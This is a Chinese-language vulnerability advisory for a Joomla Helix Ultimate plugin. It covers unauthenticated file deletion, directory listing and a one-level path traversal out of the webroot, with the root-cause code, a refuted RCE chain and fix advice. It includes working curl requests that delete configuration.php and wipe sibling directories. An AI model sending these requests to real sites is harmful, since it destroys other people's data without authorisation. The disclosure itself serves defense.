Is4yev/CVE-2026-57830

GitHub: Is4yev/CVE-2026-57830

该项目披露并验证了 Joomla Helix Ultimate 组件中一处因缺失认证与路径过滤缺陷导致的未授权文件读取、删除及路径遍历漏洞。

Stars: 3 | Forks: 0

# Helix Ultimate Framework — 未授权路径遍历任意文件/文件夹读取+删除 **这是一个已确认的 DoS + 跨租户文件系统访问漏洞,而非 RCE。** 一种 RCE 升级理论 (删除 `configuration.php` 以重新暴露 Joomla 安装程序)已经过现场测试并被推翻——请参阅下文的“RCE 升级 — 已测试并被推翻”。在没有首先重新推导出真实的漏洞利用链之前,请勿在任何报告中将其表示为 RCE。 **严重程度升级(2026-07-06,二次审查):** `path` 参数并没有像初次评估的那样被安全地限制在 Joomla webroot 内 — Joomla 的 `PATH` 输入过滤器不会拦截单个 `/../` 遍历组件,因此 此 bug 会触及(读取:完整目录列表;写入:删除文件或递归清除文件夹内容) **Web 服务器用户能够访问的文件系统上的任何内容,而不仅仅是 Joomla 安装目录内的文件**。在 任何多个站点/租户作为同一 OS 用户的同级目录存在的共享主机布局中 (极其常见:cPanel “附加域”、共享系统用户的 Plesk 订阅、大多数廉价主机), 单个由 Helix Ultimate 驱动的站点允许匿名访客摧毁同一账户下的所有*其他*站点。 有关现场证明,请参阅下文的“路径遍历完全逃逸出 JPATH_ROOT”。 **组件:** JoomShaper Helix Ultimate Framework (`plg_system_helixultimate`),几乎所有 JoomShaper Joomla 模板(基于 Helix Ultimate)都捆绑了此组件。 **受影响版本:** 2.2.6 (GitHub `JoomShaper/helix-ultimate`,HEAD 截至 2026-07,最后推送于 2026-06-30) **作者:** Amin İsayev / Proxima Cyber Security ## 概述 `plugins/system/helixultimate/src/Platform/Media.php` 通过 `helixultimate.php::onAfterRoute()` 中的 Joomla `com_ajax` 调度 hook 暴露了 `deleteMedia()`、`getFolders()` 和 `createFolder()`。这三个方法仅调用 `Session::checkToken()`(一种普通的 CSRF 检查,任何匿名访客自己的 session token 都能满足——该 token 可从站点主页的 HTML 中获取)——**完全没有 `authorise()` / 登录检查**。这与同一类中的同级 方法 `uploadMedia()` 不一致,后者正确地要求对 `com_templates` 具有 `core.edit` 权限。 由于这是一个**系统插件**,`onAfterRoute()` 在每次请求时都会触发,无论当前激活的是哪个模板——只要插件已安装并启用(对于任何使用基于 Helix Ultimate 的 JoomShaper 模板的站点,这是默认行为),就能触达该漏洞代码路径。 ## 根本原因 `plugins/system/helixultimate/helixultimate.php`(约第 464-489 行): ``` if ($this->app->isClient('site')) { $option = $this->app->input->get('option', '', 'STRING'); $helix = $this->app->input->get('helix', '', 'STRING'); $request = $this->app->input->get('request', '', 'STRING'); $action = $this->app->input->get('action', '', 'STRING'); if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '') { switch ($action) { case 'upload-blog-image': Blog::upload_image(); break; // has core.create/com_media check case 'remove-blog-image': Blog::remove_image(); break; // has core.delete/com_media check case 'view-media': Media::getFolders(); break; // NO authorise() check case 'delete-media': Media::deleteMedia(); break; // NO authorise() check case 'upload-media': Media::uploadMedia(); break; // has core.edit/com_templates check } } } ``` `plugins/system/helixultimate/src/Platform/Media.php`: ``` public static function deleteMedia() { $output['message'] = Text::_('JINVALID_TOKEN'); Session::checkToken() or die(json_encode($output)); // ← only CSRF, no authorise() $path = $input->post->get('path', '/images', 'PATH'); $type = $input->post->get('type', 'file', 'STRING'); if ($type === 'file') { File::delete(JPATH_ROOT . '/' . $path); } else { Folder::delete(JPATH_ROOT . '/' . $path); } // recursive } ``` `$path` 经过了 Joomla 的 `PATH` 输入过滤器 (`InputFilter::cleanPath()`)。有两个独立的因素使其变得 危险: 1. **甚至不需要遍历**就能触及 webroot *内部*的任何内容——`path` 直接在 `JPATH_ROOT` 下解析,因此任何从根开始的绝对路径(`/configuration.php`、`/administrator/...`、`/media/...`) 都已经可以触达。 2. **遍历到 webroot 之上同样有效。** `cleanPath()` 的正则表达式 (`^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$`) 允许在开头的 `[A-Za-z0-9_/-]+` 数据块之后紧跟恰好一段 由点/连字符/字母数字字符组成的序列——而单个前导 `/` 就满足了这个开头的数据块,因此像 `/../sibling_dir` 这样的字符串能够顺利匹配:`/`(数据块 1),`..` (允许的带点序列),`/sibling_dir`(普通的尾部片段)。该过滤器旨在拒绝*以*点 *开头*的新 `/…` 组件的片段,但从未预料到字符串的第一个字符之后直接紧跟的单个 `..`。链接 `../../..` 将无法存活(在第一个带点序列之后的每个后续 `/…` 片段都必须以非点字符开头)——因此逃逸被严格限制在 `JPATH_ROOT` 之上恰好 **一** 级目录,但该级别之下的所有内容(任意深度)随后都可以 正常访问,因为后续片段只是普通的非点路径组件。 ## 影响 - **未授权删除** Joomla webroot 下的**任何单个文件** → 轻而易举地删除 `configuration.php` → 即刻导致站点全面瘫痪(“No configuration” 致命错误),仅需一个 HTTP 请求,零认证。 - **未授权递归删除任何文件夹** (`type=folder`) → 例如 `/administrator`、`/components`、 `/media` → 破坏性极大,可彻底摧毁安装。 - **通过 `view-media` (`Media::getFolders()`) 进行未授权信息泄露**:列出任何根相对路径下的所有图像文件、 所有子文件夹名称以及绝对服务器路径,无需认证(在下面用作*安全*检测信号)。 - **完全逃逸出 webroot(向上一级,然后从那里开始无限深度)** —— 可触及 Joomla 安装目录的同级目录。 在多个站点共享一个 OS 用户的共享主机上(cPanel 附加域、Plesk 订阅等), *一个* Helix Ultimate 站点的匿名访客可以枚举并擦除同一账户下*所有其他*站点的文件。这将一个单站点的 bug 变成了整个服务器账户范围的爆炸半径。 - 未发现 RCE 升级——见下文。 ## 实时验证 (2026-07-06) 针对一次性的 Docker 实例进行了测试(Joomla 5.4.6 + Helix Ultimate 插件 2.2.6,全新安装,完全 匿名的浏览器会话——无登录,除 Joomla 分发给每个访客的 cookie 外无其他 cookie): ``` $ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \ --data-urlencode "path=/configuration.php" \ --data-urlencode "type=file" \ --data-urlencode "=1" {"status":true, ...} $ curl http://TARGET/ "No configuration file found and no directory was found for installation." ``` ## 路径遍历完全逃逸出 JPATH_ROOT — 现场证明 (2026-07-06) 在 Joomla webroot (`/var/www/canary_sibling`,`/var/www/html` 的同级目录) 旁边创建了一个同级目录, 由与 Web 服务器 (`www-data`) 相同的用户拥有,以模拟真实的共享主机布局,其中填充了 一个文件、一个图像和一个子目录: ``` $ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=view-media" \ --data-urlencode "path=/../canary_sibling" \ --data-urlencode "=1" {"status":true, "path":"/../canary_sibling", "images":["/var/www/html/../canary_sibling/proof.png"], "folders":["subdir"], ...} ``` 对完全在 Joomla 安装目录**之外**的目录进行完整读取/枚举,包括解析出的绝对 服务器路径,且零认证。 ``` $ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \ --data-urlencode "path=/../canary_sibling" \ --data-urlencode "type=folder" \ --data-urlencode "=1" ``` 结果:`canary_sibling` 内部的所有文件(普通文件、图像和子目录)都被删除了。只有 现已为空的顶级 `canary_sibling` 文件夹本身幸存下来,这仅仅是因为在这个实验环境中它直接位于 `/var/www` 下,归 `root` 所有——删除这个空目录条目需要对其*父目录*的写入权限,而 `www-data` 对 `/var/www` 没有此权限。在真实的共享主机布局中(例如 `/home/user/domains/siteA.com/public_html` 和 `/home/user/domains/siteB.com/public_html` 作为真正的同级目录, 从头到尾都归同一账户用户所有),最后一道屏障是不存在的,整个同级站点的目录树都是可被删除的。 ## RCE 升级 — 已测试并被推翻 (2026-07-06) 显而易见的下一个理论是:在一个安装后从未移除 `installation/` 的站点上,删除 `configuration.php` 将使安装向导再次变得可访问,从而让攻击者完成安装并创建 一个新的超级用户。**这已经在实验室中直接进行了测试,但并不成立:** 1. 将 `installation/` 文件夹复制回 webroot(模拟一个忘记移除它的站点)—— 此时 `configuration.php` 仍然存在且有效。 2. 结果:Joomla 自身的核心引导(在任何插件,包括有漏洞的插件运行之前)立即 开始针对**每一个请求**发出 `302 Found -> /installation/index.php`,包括漏洞利用本身对 `option=com_ajax&helix=ultimate&...&action=delete-media` 的 POST 请求。在此状态下,漏洞利用代码路径永远不会执行——Joomla 核心会首先短路一切操作。 3. 结果:这两种状态无法串联。 - 如果 `installation/` **存在**:该站点对于*任何*访客来说都已经完全开放并可被接管, 完全独立于这个漏洞——那是一个预先存在的、无关的 Joomla 配置错误,而不是 这个 bug 导致或需要的东西。 - 如果 `installation/` **不存在**(正常的、安全的状态):此漏洞只能*删除*文件,它 无法*创建*回 `installation/` 文件夹——没有办法从 一个仅限删除的原语重新暴露安装程序。 **结论:没有任何状态组合能将其变成 RCE。** 已确认的、客观的影响上限是 未授权、无条件、必然的全站 DoS(加上上面提到的未授权信息泄露)。 就其本身而言,这已经是一个严重级别的发现,不需要夸大的 RCE 声明。 ## 更正:`createFolder()` 并非未授权可达(早期草稿有误) 本报告的一个早期版本声称 `Media::createFolder()` 也可以未授权访问(作为 删除/读取之外的第三个原语)。这是不正确的,并且在对插件的调度 连线进行全面检查后已进行了更正: - `createFolder()`,以及代码库中真正的文件内容写入 sink(`Request.php`:`fwrite()`, 用于模板样式/web 字体/CSS 缓存文件的 `File::write()`),都位于 `plugins/system/helixultimate/src/Platform/Request.php` 中,仅通过 `Platform::handleRequest() <- onAfterRespond()` 进行调度。 - `onAfterRespond()` 明确要求 `$this->app->isClient('administrator')`,并且 `onAfterRoute()` 会在此点之前单独将 任何未登录的访客重定向离开。此路径确实需要管理员认证—— 这是通过阅读确切的门控条件确认的,而不仅仅是依赖于方法本身内部没有调用 `authorise()` (不同于站点前端的 `deleteMedia()`/`getFolders()`,它们确实没有任何门控)。 - `onAfterRoute()` 中的前端 (`isClient('site')`) switch 仅连接了五个操作: `upload-blog-image`、`remove-blog-image`、`view-media` (`Media::getFolders`)、`delete-media` (`Media::deleteMedia`)、`upload-media` (`Media::uploadMedia`,它确实检查了 `core.edit`/`com_templates`)。 `create-folder` 不在其中。 **最终确认的未授权能力集:仅限删除(文件或递归文件夹)+ 读取(文件夹/图像列表)。此插件中不存在任何未授权的内容写入原语。** 这正是 为什么即使专门寻找之后也没有发现 RCE 链的原因——RCE 从根本上需要一个写入原语, 而这类 bug 并不具备。 ## 检测 PoC — `helix_ultimate_detect.py` 非破坏性。使用 `action=view-media`(文件夹/文件列表)作为证明信号——绝不删除任何内容。 ## 漏洞利用 / DoS PoC — `helix_ultimate_delete_poc.py`(名称为了连续性而保留;仅确认 DoS) 破坏性。需要明确的 `--delete ` 才能触碰任何内容。`--rce` 标志会删除 `configuration.php` 并探测 `/installation/`,纯粹是为了*检查*该文件夹是否恰好已经 存在(在这种情况下,无论是否有此 bug,该站点都已经独立地完全暴露)——它并不代表 由此漏洞导致的真实升级;请参阅上面的“RCE 升级 — 已测试并被推翻”。仅在获得 书面授权后使用。 ## 修复建议 需要两个独立的修复,仅应用其中一个就已经可以阻止此问题: 1. 在 `src/Platform/Media.php` 中,将 `uploadMedia()` 已经具有的相同授权检查添加到 `deleteMedia()` 和 `getFolders()` 中 ——至少在执行任何文件系统操作之前,要求对 `com_templates`(或 `com_media`,与 `Blog::remove_image()` 的模式匹配)具有 `core.edit`/`core.delete` 权限。 2. 独立于认证,在 触碰文件系统之前,验证解析出的路径是否确实包含在 `JPATH_ROOT` 内——例如 `realpath(JPATH_ROOT . '/' . $path)` 并确认结果的 prefix 等于 `realpath(JPATH_ROOT)` —— `sppagebuilder_rce_patch.php` 中的 `com_sppagebuilder` 补丁草案针对一个无关的 bug 使用的也是相同的限制检查(参见 `CVE-2026-48909/sppage/`)。Joomla 的 `PATH` 输入过滤器不能替代此项检查—— 它从未被为一种包含性保证,而仅仅是一种松散的“看起来像路径”的字符类检查。 *Amin İsayev / Proxima Cyber Security — 2026。仅限教育/授权测试用途。*
标签:Joomla, Maven, OpenVAS, PHP, Web安全, 安全漏洞, 漏洞验证, 蓝队分析, 请求拦截, 路径穿越